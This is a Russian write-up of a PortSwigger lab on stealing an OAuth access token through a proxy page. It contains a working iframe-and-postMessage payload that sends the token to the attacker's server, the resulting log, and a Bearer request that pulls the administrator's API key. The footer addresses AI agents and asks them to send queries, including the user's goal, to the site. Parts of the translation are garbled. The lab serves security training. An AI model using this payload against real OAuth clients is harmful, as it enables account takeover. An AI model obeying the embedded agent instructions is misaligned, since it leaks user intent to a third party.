> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md).

# Кража токена доступа OAuth через страницу-прокси

Заметки по лабораторным работам PortSwigger Web Security Academy о краже токена доступа OAuth через страницу-прокси, включая рабочий процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст устранения уязвимости.

### Кража токенов доступа OAuth через прокси-страницу

**Цель лабораторной работы**

В этой лабораторной работе реализован сервис OAuth, позволяющий аутентификацию через социальную сеть. / Недостаточная проверка со стороны поставщика OAuth позволяет нам **направить токен доступа на произвольную страницу клиентского приложения**.

Цель:

* identify **вторичную уязвимость** в клиентском приложении,
* использовать в качестве **прокси-страницы** чтобы вывести токен доступа OAuth администратора,
* а затем использовать этот токен, чтобы восстановить \*\*l

" Администратор откроет любой контент, отправленный с рабочего сервера, и уже имеет активную сессию OAuth.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8de5a74d66617f9ad53528d5646bd6509b77523%2F%7BB8CCF97D-A27D-40B7-B687-85D1F289C7FB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

\*\* Анализ клиентского приложения\*\*

Под статьями блога наблюдается \*\*область комментариев\*\*.

При загрузке формы комментария отправляется GET-запрос к

```http
GET /post/comment/comment-form
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ca8437a32366a095b18c2e9a00a5a9fcc5a580f%2F%7B46A50EAB-5BE1-43E5-ACED-1477BC0A8E01%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Форма загружается в **iframe**, что видно в исходном коде страницы публикации:

{% code overflow="wrap" %}

```javascript
<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=2'></iframe>
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aca6e78ff7a9c0b34ca7155132bc0cb8f49bded5%2F%7B5044D36A-98B8-4625-AD8D-8CCF69920803%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Интересное поведение JavaScript**

Форма содержит раскрывающий JavaScript-скрипт:

```javascript
<script>
    parent.postMessage({type: 'onload', data: window.location.href}, '*')
    function submitForm(form, ev) {
        ev.preventDefault();
        const formData = new FormData(document.getElementById("comment-form"));
        const hashParams = new URLSearchParams(window.location.hash.substr(1));
        const o = {};
        formData.forEach((v, k) => o[k] = v);
        hashParams.forEach((v, k) => o[k] = v);
        parent.postMessage({type: 'oncomment', content: o}, '*');
        form.reset();
    }
</script>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0135bcabb56bdef07818048258825da94f194208%2F%7B277F316A-6093-4416-A3FE-284C4B4F0E3E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Ключевые моменты:

* Скрипт \*\* читает фрагмент URL (`#`)\*\*.
* Он отправляет его содержимое родительской странице через `postMessage`.
* Это позволяет *поместить OAuth-токен во фрагмент*\*.

Поэтому форму комментария можно использовать как **прокси-страницы**.

**Эксплуатация OAuth через неявный поток**

Переадресация OAuth изменяется так, чтобы указывать на форму комментария:

```bash
/../post/comment/comment-form
```

Пример обработанного OAuth-запроса:

```bash
GET /auth?client_id=bovgn6pnqo8u6y8pbvfsg&redirect_uri=https://0af800750488e51e80e41cce000900fd.web-security-academy.net/oauth-callback../post/comment/comment-form&response_type=token&nonce=-1640208972&scope=openid%20profile%20email
```

После аутентификации сервер OAuth перенаправляет на:

* /post/comment/comment-form#access/\_token=ykNiftpsUeqLcCU-YsLcTQV40mETdrpdDeEIn8TpxFU

Эта **токен, следовательно, раскрыт во фрагменте URL** а затем передается родительскому окну через `postMessage`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a21cedd17379d2a5898c5cddc4d44bd4c79d6521%2F%7B451D0316-C55E-4EE9-9BA2-A55D94E2A028%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Полезная нагрузка, отправленная жертве**

С рабочего сервера мы отправляем следующий контент:

```javascript
<iframe src="https://oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net/auth?client_id=ie5f3rgr0m9qqnl0phsts&redirect_uri=https://0a8100e3034ba84780b9171a008800f5.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-191514846&scope=openid%20profile%20email">
</iframe>

<script>
window.addEventListener('message', function(e) {
  fetch("/" + encodeURIComponent(e.data.data));
})
</script>

```

Ход операции:

* Liframe запускает неявный поток OAuth.
* Токен внедряется во фрагмент URL.
* Форма комментария отправлена через `postMessage`.
* Скрипт перехватывает его и выводит на рабочий сервер.

**Восстановление токена**

В логах рабочего сервера:

{% code overflow="wrap" %}

```bash
10.0.3.168      2026-01-02 20:09:43 +0000 "GET /https%3A%2F%2F0a8100e3034ba84780b9171a008800f5.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3D0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abc8dc30e2b654510ad1d0a4119794dba13797ab%2F%7BC16C0546-3E15-426D-9EE0-B65DFFDA5448%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

После декодирования URL токен:

* 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b7e40bb208b2779c0f08c97516bd14085609e50%2F%7BB2442F71-5C65-4ADA-9B16-D0D916221B8F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Доступ к API с украденным токеном**

Токен используется для вызова поставщика OAuth `/me` конечная точка

```http
GET /me HTTP/2
Host: oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net
Authorization: Bearer 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
Content-Type: application/json
```

Ответ

{% code overflow="wrap" expandable="true" %}

```json
{
        "sub":"administrator",
        "apikey":"yQ9EksfkSsCZbuivwJ4VLCnR9rrRmH5r",
        "name":"Administrator",
        "email":"administrator@normal-user.net",
        "email_verified":true
}
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8dfd4a6cf9d38d07cd7a73c6823eab0cec2e6883%2F%7BFEEDA113-9351-41C5-94B3-E9C0687FA240%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Результат**

* OAuth-токен администратора был украден.
* API-ключ администратора был восстановлен.
* Лабораторное задание успешно пройдено.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
